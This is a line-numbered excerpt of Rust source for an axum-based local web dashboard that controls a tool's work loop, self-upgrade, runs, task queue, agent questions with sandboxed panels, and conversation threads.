1860 !self.handle.is_finished()
1861 }
1862}
1863
1864fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1871 state.lock().unwrap_or_else(PoisonError::into_inner)
1872}
1873
1874async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1876 blocking(move || {
1877 let reading = daemon::read_status(&ui.home);
1878 Ok(Json(ui.loop_view(reading)))
1879 })
1880 .await
1881}
1882
1883#[derive(Debug, Deserialize)]
1889#[serde(deny_unknown_fields)]
1890struct LoopCommand {
1891 running: bool,
1892 #[serde(default)]
1902 park: bool,
1903}
1904
1905async fn loop_post(
1913 State(ui): State<Arc<Ui>>,
1914 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1915) -> ApiResult<Json<LoopView>> {
1916 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1919 blocking(move || {
1920 let reading = daemon::read_status(&ui.home);
1921 let foreign = Foreign::of(reading.as_ref());
1922 if body.running {
1923 ui.start_loop(foreign)?;
1924 } else {
1925 ui.stop_loop(foreign, body.park)?;
1926 }
1927 Ok(Json(ui.loop_view(reading)))
1928 })
1929 .await
1930}
1931
1932#[derive(Debug, Serialize)]
1934struct UpgradeView {
1935 from: String,
1937 to: Option<String>,
1939 parked: Option<String>,
1941 detail: String,
1943}
1944
1945async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1969 let reading = daemon::read_status(&ui.home);
1970 if let Some(other) = Foreign::of(reading.as_ref()) {
1971 return Err(ApiError::conflict(format!(
1972 "the loop belongs to {}, so replacing this binary would leave \
1973 that process running an old one against the same queue. Upgrade \
1974 where it was started.",
1975 other.who()
1976 )));
1977 }
1978
1979 if crate::updater::disabled_by_env() {
1985 return Ok((
1986 StatusCode::OK,
1987 Json(UpgradeView {
1988 from: env!("CARGO_PKG_VERSION").to_owned(),
1989 to: None,
1990 parked: None,
1991 detail: format!(
1992 "Automatic updates are disabled by {}. Nothing was parked \
1993 and nothing restarted.",
1994 crate::updater::NO_AUTOUPDATE_ENV
1995 ),
1996 }),
1997 ));
1998 }
1999
2000 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2005 let from = env!("CARGO_PKG_VERSION").to_owned();
2006 let latest = match crate::updater::Checker::new(&cfg.update) {
2007 Some(checker) => checker
2008 .newer_release()
2009 .await
2010 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2011 None => None,
2012 };
2013 let Some(latest) = latest else {
2014 return Ok((
2015 StatusCode::OK,
2016 Json(UpgradeView {
2017 from,
2018 to: None,
2019 parked: None,
2020 detail: "Already on the newest release. Nothing was parked \
2021 and nothing restarted."
2022 .to_owned(),
2023 }),
2024 ));
2025 };
2026
2027 let parked = ui.park_for_upgrade()?;
2030 let detail = match &parked {
2031 Some(run) => format!(
2036 "Run {} is parking at its next step, which can take as long as \
2037 the step it is on - up to an hour for an implement wave. The \
2038 deck replaces itself once it parks, comes back, and the loop \
2039 carries that run on from where it stopped. Nothing is lost if \
2040 you close this.",
2041 crate::run::short_of(run)
2042 ),
2043 None => "The deck replaces itself and comes back. Nothing was in \
2044 flight to park."
2045 .to_owned(),
2046 };
2047
2048 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2052 progress.parked_run = parked.clone();
2053 let _ = updater::write_progress(&ui.home, &progress);
2054
2055 let home = ui.home.clone();
2056 tokio::spawn(async move {
2057 if let Err(e) = upgrade_and_restart(home.clone()).await {
2058 tracing::error!("the upgrade did not complete: {e:#}");
2059 if let Some(mut progress) = updater::read_progress(&home) {
2060 progress.fail(format!("{e:#}"));
2061 let _ = updater::write_progress(&home, &progress);
2062 }
2063 }
2064 });
2065
2066 Ok((
2067 StatusCode::ACCEPTED,
2068 Json(UpgradeView {
2069 from,
2070 to: Some(latest.tag_name),
2071 parked,
2072 detail,
2073 }),
2074 ))
2075}
2076
2077async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2082 crate::updater::run_self_update(true, false, true).await?;
2085 tracing::info!("binary replaced - asking the server to hand over");
2086 if let Some(mut progress) = updater::read_progress(&home) {
2087 progress.advance(updater::Stage::Replaced);
2088 let _ = updater::write_progress(&home, &progress);
2089 }
2090 HANDOVER.notify_one();
2091 Ok(())
2092}
2093
2094#[derive(Debug, Serialize)]
2100struct RunSummary {
2101 id: String,
2102 short: String,
2103 status: String,
2104 done: bool,
2105 instruction: String,
2106 title: String,
2107 repo: String,
2108 repo_name: String,
2109 created_at: String,
2110 updated_at: String,
2111 candidates: usize,
2112 viable: usize,
2113 judges: usize,
2114 winner: Option<char>,
2115 reviews: usize,
2116 quota_losses: usize,
2117 event: Option<String>,
2118 superseded_by: Option<String>,
2123 waiting: bool,
2130 live: crate::run::Liveness,
2134 pr: Option<crate::run::PrRecord>,
2136 unmerged_by_design: bool,
2142}
2143
2144impl RunSummary {
2145 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2146 Self {
2147 id: state.id.clone(),
2148 short: state.short().to_owned(),
2149 status: status_word(state.status),
2150 done: state.status.done(),
2151 unmerged_by_design: state.unmerged_by_design(),
2152 instruction: state.instruction.clone(),
2153 title: title_from(&state.instruction, TITLE_MAX),
2154 repo: state.repo.display().to_string(),
2155 repo_name: state
2156 .repo
2157 .file_name()
2158 .map(|n| n.to_string_lossy().into_owned())
2159 .unwrap_or_default(),
2160 created_at: state.created_at.to_string(),
2161 updated_at: state.updated_at.to_string(),
2162 candidates: state.candidates.len(),
2163 viable: state.viable().len(),
2164 judges: state.config.graph.judges,
2165 winner: state.winner().map(|c| c.label),
2166 reviews: state.reviews.len(),
2167 quota_losses: state.quota.len(),
2168 event: state.events.last().map(|e| e.message.clone()),
2169 waiting,
2170 live,
2171 superseded_by: None,
2174 pr: state.pr.clone(),
2175 }
2176 }
2177}
2178
2179fn status_word(status: RunStatus) -> String {
2182 status.as_str().to_owned()
2186}
2187
2188#[derive(Debug, Deserialize)]
2190struct ListQuery {
2191 #[serde(default)]
2192 limit: Option<usize>,
2193}
2194
2195async fn runs_list(
2196 State(ui): State<Arc<Ui>>,
2197 Query(q): Query<ListQuery>,
2198) -> ApiResult<Json<Vec<RunSummary>>> {
2199 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2200 blocking(move || {
2201 let superseded = superseded_runs(&ui.queue);
2202 let summaries = run_ids(&ui.runs)
2203 .into_iter()
2204 .filter_map(|id| read_run(&ui.runs, &id).ok())
2209 .take(limit)
2210 .map(|state| {
2211 let waiting = !ui.questions.open_for(&state.id).is_empty();
2212 let by = superseded.get(&state.id).cloned();
2213 let daemon_claims =
2214 crate::daemon::is_working_on(&ui.home, &state.id, jiff::Timestamp::now());
2215 let mut row = RunSummary::of(&state, waiting, state.liveness(daemon_claims));
2216 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2217 row
2218 })
2219 .collect();
2220 Ok(Json(summaries))
2221 })
2222 .await
2223}
2224
2225fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2238 let mut by = HashMap::new();
2239 for task in queue.list() {
2240 for pair in task.runs.windows(2) {
2241 if let [earlier, later] = pair {
2242 by.insert(earlier.clone(), later.clone());
2243 }
2244 }
2245 }
2246 by
2247}
2248
2249#[derive(Debug, Serialize)]
2256struct RunDetailView {
2257 #[serde(flatten)]
2258 state: RunState,
2259 instruction_md: Vec<md::Node>,
2260 live: crate::run::Liveness,
2275 unmerged_by_design: bool,
2280}
2281
2282impl RunDetailView {
2283 fn of(state: RunState, live: crate::run::Liveness) -> Self {
2284 Self {
2285 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2286 live,
2287 unmerged_by_design: state.unmerged_by_design(),
2288 state,
2289 }
2290 }
2291}
2292
2293async fn run_detail(
2294 State(ui): State<Arc<Ui>>,
2295 Path(id): Path<String>,
2296) -> ApiResult<Json<RunDetailView>> {
2297 blocking(move || {
2298 let id = resolve_run(&ui.runs, &id)?;
2299 let state = read_run(&ui.runs, &id)?;
2300 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2301 let live = state.liveness(daemon_claims);
2302 Ok(Json(RunDetailView::of(state, live)))
2303 })
2304 .await
2305}
2306
2307async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2316 let (id, unreadable) = {
2317 let ui = Arc::clone(&ui);
2318 blocking(move || {
2319 let id = resolve_run(&ui.runs, &id)?;
2320 match read_run(&ui.runs, &id) {
2321 Ok(state) => {
2322 let in_flight =
2323 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2324 state
2325 .ensure_can_delete(in_flight)
2326 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2327 let dir = ui.runs.join(&id);
2328 std::fs::remove_dir_all(&dir)
2329 .with_context(|| format!("remove run directory {}", dir.display()))?;
2330 Ok((id, false))
2331 }
2332 Err(_) => {
2333 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2337 return Err(ApiError::conflict(format!(
2338 "run {id} is being worked on by a live daemon right now"
2339 )));
2340 }
2341 Ok((id, true))
2342 }
2343 }
2344 })
2345 .await?
2346 };
2347 if unreadable {
2348 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2349 .await
2350 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2351 }
2352 let ui = Arc::clone(&ui);
2353 let done = id.clone();
2354 blocking(move || {
2355 ui.questions.abandon_for_run(
2358 &done,
2359 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2360 )?;
2361 Ok(())
2362 })
2363 .await?;
2364 Ok(StatusCode::NO_CONTENT)
2365}
2366
2367async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2391 let (id, state) = {
2392 let ui = Arc::clone(&ui);
2393 blocking(move || {
2394 let id = resolve_run(&ui.runs, &id)?;
2395 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2396 return Err(ApiError::conflict(format!(
2397 "run {id} is being worked on by a live daemon right now"
2398 )));
2399 }
2400 let state = read_run(&ui.runs, &id).ok();
2401 Ok((id, state))
2402 })
2403 .await?
2404 };
2405 let removed = match state {
2406 Some(mut state) => {
2407 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2408 .await
2409 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2410 if removed.is_empty() {
2415 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2416 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2417 }
2418 removed
2419 }
2420 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2421 .await
2422 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2423 };
2424 Ok(Json(FoldView {
2425 run: id,
2426 removed_count: removed.len(),
2427 removed,
2428 }))
2429}
2430
2431#[derive(Debug, Serialize)]
2433struct FoldView {
2434 run: String,
2435 removed: Vec<String>,
2437 removed_count: usize,
2438}
2439
2440async fn run_resume(
2460 State(ui): State<Arc<Ui>>,
2461 Path(id): Path<String>,
2462) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2463 let (id, state) = {
2464 let ui = Arc::clone(&ui);
2465 blocking(move || {
2466 let id = resolve_run(&ui.runs, &id)?;
2467 let state = read_run(&ui.runs, &id)?;
2468 Ok((id, state))
2469 })
2470 .await?
2471 };
2472 if !state.status.resumable() {
2473 return Err(ApiError::conflict(format!(
2474 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2475 state.short(),
2476 status_word(state.status)
2477 )));
2478 }
2479 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2484 .into_iter()
2485 .next()
2486 {
2487 return Err(ApiError::conflict(format!(
2488 "the loop is running run {} right now; stop it first, or wait for \
2489 it to finish, before resuming a run by hand.",
2490 crate::run::short_of(&work.run)
2491 )));
2492 }
2493 let _resume = ui.begin_resume(&id)?;
2494
2495 let queued = RunSummary::of(
2498 &state,
2499 !ui.questions.open_for(&id).is_empty(),
2500 state.liveness(false),
2501 );
2502 let run = id.clone();
2503 tokio::spawn(async move {
2504 let _resume = _resume;
2505 match crate::graph::Runner::resume(&run) {
2506 Ok(mut runner) => {
2507 if let Err(e) = runner.execute().await {
2508 tracing::warn!("resume of run {run} stopped: {e:#}");
2509 }
2510 }
2511 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2514 }
2515 });
2516 Ok((StatusCode::ACCEPTED, Json(queued)))
2517}
2518
2519async fn run_report(
2520 State(ui): State<Arc<Ui>>,
2521 Path(id): Path<String>,
2522) -> ApiResult<impl IntoResponse> {
2523 let text = blocking(move || {
2524 let id = resolve_run(&ui.runs, &id)?;
2525 let state = read_run(&ui.runs, &id)?;
2529 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2530 let live = state.liveness(daemon_claims);
2531 Ok(format!(
2532 "{}{}",
2533 report::run(&state),
2534 report::active_seats(&state, live)
2535 ))
2536 })
2537 .await?;
2538 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2539}
2540
2541#[derive(Debug, Serialize)]
2547struct TaskView {
2548 #[serde(flatten)]
2549 task: Task,
2550 source_label: String,
2551 status_str: &'static str,
2552 instruction_md: Vec<md::Node>,
2556}
2557
2558impl From<Task> for TaskView {
2559 fn from(task: Task) -> Self {
2560 Self {
2561 source_label: task.source.label(),
2562 status_str: task.status.as_str(),
2563 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2564 task,
2565 }
2566 }
2567}
2568
2569#[derive(Debug, Default, Deserialize)]
2572#[serde(default)]
2573struct ReposQuery {
2574 refresh: u8,
2575}
2576
2577async fn repos_list(
2584 State(ui): State<Arc<Ui>>,
2585 Query(q): Query<ReposQuery>,
2586) -> ApiResult<Json<Vec<repos::Repo>>> {
2587 let refresh = q.refresh != 0;
2588 blocking(move || {
2589 let (cfg, _) = Config::discover(&ui.repo, None)?;
2590 Ok(Json(ui.repos_cache.list(
2591 &cfg.repos.roots,
2592 Duration::from_secs(cfg.repos.scan_ttl),
2593 refresh,
2594 )))
2595 })
2596 .await
2597}
2598
2599async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2600 blocking(move || {
2601 Ok(Json(
2602 ui.queue.list().into_iter().map(TaskView::from).collect(),
2603 ))
2604 })
2605 .await
2606}
2607
2608#[derive(Debug, Default, Deserialize)]
2611#[serde(default, deny_unknown_fields)]
2612struct HoldBody {
2613 reason: Option<String>,
2614}
2615
2616async fn queue_hold(
2617 State(ui): State<Arc<Ui>>,
2618 Path(id): Path<String>,
2619 body: std::result::Result<Json<HoldBody>, JsonRejection>,
2620) -> ApiResult<Json<TaskView>> {
2621 let body = match body {
2625 Ok(Json(body)) => body,
2626 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2627 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2628 };
2629 let reason = body.reason.filter(|r| !r.trim().is_empty());
2630 mutate(ui, id, move |t| {
2631 t.hold_manual(reason.clone());
2632 Ok(())
2633 })
2634 .await
2635}
2636
2637async fn queue_release(
2638 State(ui): State<Arc<Ui>>,
2639 Path(id): Path<String>,
2640) -> ApiResult<Json<TaskView>> {
2641 mutate(ui, id, |t| {
2642 t.release();
2643 Ok(())
2644 })
2645 .await
2646}
2647
2648#[derive(Debug, Deserialize)]
2650#[serde(deny_unknown_fields)]
2651struct PriorityBody {
2652 priority: i32,
2653}
2654
2655async fn queue_priority(
2661 State(ui): State<Arc<Ui>>,
2662 Path(id): Path<String>,
2663 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2664) -> ApiResult<Json<TaskView>> {
2665 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2666 mutate(ui, id, move |t| t.set_priority(body.priority)).await
2667}
2668
2669#[derive(Debug, Deserialize)]
2671#[serde(deny_unknown_fields)]
2672struct EditBody {
2673 title: String,
2674 instruction: String,
2675}
2676
2677async fn queue_edit(
2681 State(ui): State<Arc<Ui>>,
2682 Path(id): Path<String>,
2683 body: std::result::Result<Json<EditBody>, JsonRejection>,
2684) -> ApiResult<Json<TaskView>> {
2685 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2686 mutate(ui, id, move |t| {
2687 t.edit(body.title.clone(), body.instruction.clone())
2688 })
2689 .await
2690}
2691
2692async fn queue_done(
2700 State(ui): State<Arc<Ui>>,
2701 Path(id): Path<String>,
2702) -> ApiResult<Json<TaskView>> {
2703 mutate(ui, id, |t| {
2704 t.succeed();
2705 Ok(())
2706 })
2707 .await
2708}
2709
2710async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2718 blocking(move || {
2719 let id = resolve_task(&ui.queue, &id)?;
2720 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2721 ui.queue
2722 .remove(&id, in_flight)
2723 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2724 Ok(StatusCode::NO_CONTENT)
2725 })
2726 .await
2727}
2728
2729async fn mutate(
2738 ui: Arc<Ui>,
2739 id: String,
2740 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2741) -> ApiResult<Json<TaskView>> {
2742 blocking(move || {
2743 let id = resolve_task(&ui.queue, &id)?;
2744 let _claim = ui.queue.claim(&id).map_err(|e| {
2749 ApiError::conflict(format!(
2750 "{e:#} - a daemon is running this task, so it cannot be \
2751 changed from here yet"
2752 ))
2753 })?;
2754 let mut task = ui.queue.get(&id)?;
2755 change(&mut task).map_err(ApiError::bad_request_from)?;
2756 ui.queue.put(&mut task)?;
2757 Ok(Json(TaskView::from(task)))
2758 })
2759 .await
2760}
2761
2762async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2770 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2771 tokio::spawn(async move {
2772 let mut ticker = tokio::time::interval(POLL);
2773 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2774 loop {
2775 ticker.tick().await;
2778 let state = Arc::clone(&ui);
2779 let revisions = tokio::task::spawn_blocking(move || {
2780 (
2781 state.queue.revision(),
2782 runs_revision(&state.runs),
2783 state.questions.revision(),
2784 state.talks.revision(),
2785 state.lock_loop().rev,
2789 )
2790 })
2791 .await;
2792 let Ok(revisions) = revisions else { break };
2793 if last == Some(revisions) {
2794 continue;
2795 }
2796 last = Some(revisions);
2797 let payload = serde_json::json!({
2798 "queue_rev": revisions.0,
2799 "runs_rev": revisions.1,
2800 "questions_rev": revisions.2,
2801 "talks_rev": revisions.3,
2802 "loop_rev": revisions.4,
2803 });
2804 let Ok(event) = Event::default().event("change").json_data(payload) else {
2806 break;
2807 };
2808 if tx.send(event).await.is_err() {
2809 break;
2810 }
2811 }
2812 });
2813 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2814 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2815}
2816
2817fn runs_revision(runs: &FsPath) -> u64 {
2824 use std::hash::{Hash as _, Hasher as _};
2825
2826 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2827 .into_iter()
2828 .flatten()
2829 .flatten()
2830 .filter_map(|e| {
2831 let path = e.path().join("run.json");
2832 let mtime = path
2833 .metadata()
2834 .ok()?
2835 .modified()
2836 .ok()?
2837 .duration_since(std::time::UNIX_EPOCH)
2838 .ok()?
2839 .as_millis() as u64;
2840 let id = e.file_name().to_string_lossy().into_owned();
2841 Some((id, mtime))
2842 })
2843 .collect();
2844
2845 if entries.is_empty() {
2846 return 0;
2847 }
2848
2849 entries.sort_unstable();
2850 let mut hasher = std::hash::DefaultHasher::new();
2851 for (id, mtime) in &entries {
2852 id.hash(&mut hasher);
2853 mtime.hash(&mut hasher);
2854 }
2855 let h = hasher.finish();
2856 if h == 0 { 1 } else { h }
2857}
2858
2859fn run_ids(runs: &FsPath) -> Vec<String> {
2865 let mut ids: Vec<String> = std::fs::read_dir(runs)
2866 .into_iter()
2867 .flatten()
2868 .flatten()
2869 .filter(|e| e.path().join("run.json").is_file())
2870 .map(|e| e.file_name().to_string_lossy().into_owned())
2871 .collect();
2872 ids.sort_unstable_by(|a, b| b.cmp(a));
2874 ids
2875}
2876
2877fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2879 let path = runs.join(id).join("run.json");
2880 let body =
2881 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2882 let state: RunState =
2883 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2884 if state.schema != run::SCHEMA {
2885 anyhow::bail!(
2886 "run {} was written by a different magi (schema {}, this build speaks {})",
2887 state.id,
2888 state.schema,
2889 run::SCHEMA
2890 );
2891 }
2892 Ok(state)
2893}
2894
2895#[must_use]
2903pub fn runs_unreadable(runs: &FsPath) -> usize {
2904 run_ids(runs)
2905 .into_iter()
2906 .filter(|id| read_run(runs, id).is_err())
2907 .count()
2908}
2909
2910fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2912 if runs.join(id).join("run.json").is_file() {
2913 return Ok(id.to_owned());
2914 }
2915 pick(run_ids(runs), id, "run")
2916}
2917
2918fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2920 if queue.path_of(id).is_file() {
2921 return Ok(id.to_owned());
2922 }
2923 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2924}
2925
2926#[derive(Debug, Serialize)]
2937struct QuestionView {
2938 #[serde(flatten)]
2939 question: Question,
2940 detail_md: Vec<md::Node>,
2941 waiting_on_agent: bool,
2951}
2952
2953impl From<Question> for QuestionView {
2954 fn from(question: Question) -> Self {
2955 let base = md::ImageBase::QuestionPanel {
2956 id: question.id.clone(),
2957 };
2958 Self {
2959 detail_md: md::to_nodes(&question.detail, &base),
2960 waiting_on_agent: question.waiting_on_agent(),
2961 question,
2962 }
2963 }
2964}
2965
2966async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2972 blocking(move || {
2973 Ok(Json(
2974 ui.questions
2975 .list()
2976 .into_iter()
2977 .map(QuestionView::from)
2978 .collect(),
2979 ))
2980 })
2981 .await
2982}
2983
2984#[derive(Debug, Default, Deserialize)]
2990#[serde(default, deny_unknown_fields)]
2991struct NewAnswer {
2992 choice: Option<String>,
2993 text: Option<String>,
2994}
2995
2996async fn question_answer(
2997 State(ui): State<Arc<Ui>>,
2998 Path(id): Path<String>,
2999 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
3000) -> ApiResult<Json<QuestionView>> {
3001 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3002 let answer = match (body.choice, body.text) {
3003 (Some(c), None) => Answer::Choice(c),
3004 (None, Some(t)) => Answer::Text(t),
3005 (Some(_), Some(_)) => {
3006 return Err(ApiError::bad_request(
3007 "send either `choice` or `text`, not both",
3008 ));
3009 }
3010 (None, None) => {
3011 return Err(ApiError::bad_request("send a `choice` or a `text`"));
3012 }
3013 };
3014
3015 blocking(move || {
3016 let id = resolve_question(&ui.questions, &id)?;
3017 let mut q = ui
3018 .questions
3019 .get(&id)
3020 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3021 if !q.status.open() {
3022 return Err(ApiError::conflict(format!(
3026 "question {} is already {}",
3027 q.short(),
3028 q.status.as_str()
3029 )));
3030 }
3031 q.answer(answer).map_err(ApiError::bad_request_from)?;
3035 ui.questions.put(&mut q)?;
3036 Ok(Json(QuestionView::from(q)))
3037 })
3038 .await
3039}
3040
3041#[derive(Debug, Deserialize)]
3043#[serde(deny_unknown_fields)]
3044struct NewSay {
3045 body: String,
3046}
3047
3048async fn question_say(
3058 State(ui): State<Arc<Ui>>,
3059 Path(id): Path<String>,
3060 body: std::result::Result<Json<NewSay>, JsonRejection>,
3061) -> ApiResult<Json<QuestionView>> {
3062 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3063 blocking(move || {
3064 let id = resolve_question(&ui.questions, &id)?;
3065 let mut q = ui
3066 .questions
3067 .get(&id)
3068 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
3069 if !q.status.open() {
3070 return Err(ApiError::conflict(format!(
3074 "question {} is already {}",
3075 q.short(),
3076 q.status.as_str()
3077 )));
3078 }
3079 q.say(body.body).map_err(ApiError::bad_request_from)?;
3082 ui.questions.put(&mut q)?;
3083 Ok(Json(QuestionView::from(q)))
3084 })
3085 .await
3086}
3087
3088fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
3090 if store.path_of(id).is_file() {
3091 return Ok(id.to_owned());
3092 }
3093 pick(
3094 store.list().into_iter().map(|q| q.id).collect(),
3095 id,
3096 "question",
3097 )
3098}
3099
3100async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
3115 blocking(move || {
3116 let id = resolve_question(&ui.questions, &id)?;
3117 let Some(html) = ui.questions.panel_html(&id) else {
3118 return Err(ApiError::not_found(format!("question {id} has no panel")));
3119 };
3120 Ok(panel_response(
3121 "text/html; charset=utf-8",
3122 false,
3123 html.into_bytes(),
3124 ))
3125 })
3126 .await
3127}
3128
3129async fn question_asset(
3157 State(ui): State<Arc<Ui>>,
3158 Path((id, name)): Path<(String, String)>,
3159) -> ApiResult<Response> {
3160 if !crate::ask::valid_asset_name(&name) {
3163 return Err(ApiError::bad_request(format!(
3164 "`{name}` is not a usable asset name"
3165 )));
3166 }
3167 blocking(move || {
3168 let id = resolve_question(&ui.questions, &id)?;
3169 let asset = ui
3170 .questions
3171 .panel_asset(&id, &name)
3172 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3173 let Some(bytes) = asset else {
3174 return Err(ApiError::not_found(format!(
3175 "question {id} has no asset `{name}`"
3176 )));
3177 };
3178 Ok(panel_response(
3179 asset_content_type(&name),
3180 is_svg(&name),
3181 bytes,
3182 ))
3183 })
3184 .await
3185}
3186
3187fn asset_content_type(name: &str) -> &'static str {
3200 match extension(name).as_deref() {
3201 Some("png") => "image/png",
3202 Some("jpg" | "jpeg") => "image/jpeg",
3203 Some("gif") => "image/gif",
3204 Some("webp") => "image/webp",
3205 Some("svg") => "image/svg+xml",
3206 Some("css") => "text/css; charset=utf-8",
3207 Some("txt") => "text/plain; charset=utf-8",
3208 _ => "application/octet-stream",
3209 }
3210}
3211
3212fn is_svg(name: &str) -> bool {
3215 extension(name).as_deref() == Some("svg")
3216}
3217
3218fn extension(name: &str) -> Option<String> {
3220 name.rsplit_once('.')
3221 .map(|(_, ext)| ext.to_ascii_lowercase())
3222}
3223
3224fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
3241 let mut res = (
3242 [
3243 (header::CONTENT_TYPE, content_type),
3244 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
3245 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3246 (header::REFERRER_POLICY, "no-referrer"),
3247 ],
3248 body,
3249 )
3250 .into_response();
3251 if download {
3252 res.headers_mut().insert(
3253 header::CONTENT_DISPOSITION,
3254 HeaderValue::from_static("attachment"),
3255 );
3256 }
3257 res
3258}
3259
3260#[derive(Debug, Serialize)]
3266struct TalkView {
3267 #[serde(flatten)]
3268 talk: Talk,
3269 turn_bodies_md: Vec<Vec<md::Node>>,
3270 thinking: bool,
3278}
3279
3280impl TalkView {
3281 fn new(talk: Talk, thinking: bool) -> Self {
3282 let turn_bodies_md = talk
3283 .turns
3284 .iter()
3285 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3286 .collect();
3287 Self {
3288 turn_bodies_md,
3289 thinking,
3290 talk,
3291 }
3292 }
3293}
3294
3295#[derive(Debug, Serialize)]
3300struct TalkDetailView {
3301 #[serde(flatten)]
3302 view: TalkView,
3303 tasks: Vec<TaskView>,
3304}
3305
3306async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3311 blocking(move || {
3312 Ok(Json(
3313 ui.talks
3314 .list()
3315 .into_iter()
3316 .map(|talk| {
3317 let thinking = ui.is_thinking(&talk.id);
3318 TalkView::new(talk, thinking)
3319 })
3320 .collect(),
3321 ))
3322 })
3323 .await
3324}
3325
3326#[derive(Debug, Default, Deserialize)]
3331#[serde(default)]
3332struct NewTalk {
3333 agent: Option<String>,
3334 repo: Option<PathBuf>,
3335}
3336
3337async fn talk_post(
3340 State(ui): State<Arc<Ui>>,
3341 body: std::result::Result<Json<NewTalk>, JsonRejection>,
3342) -> ApiResult<impl IntoResponse> {
3343 let body = match body {
3347 Ok(Json(body)) => body,
3348 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3349 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3350 };
3351 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3352 let cfg = config_for(&repo).await?;
3353 let view = blocking(move || {
3354 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3355 let thinking = ui.is_thinking(&talk.id);
3356 Ok(TalkView::new(talk, thinking))
3357 })
3358 .await?;
3359 Ok((StatusCode::CREATED, Json(view)))
3360}
3361
3362async fn talk_detail(
3364 State(ui): State<Arc<Ui>>,
3365 Path(id): Path<String>,
3366) -> ApiResult<Json<TalkDetailView>> {
3367 blocking(move || {
3368 let id = resolve_talk(&ui.talks, &id)?;
3369 let talk = ui.talks.get(&id)?;
3370 let thinking = ui.is_thinking(&talk.id);
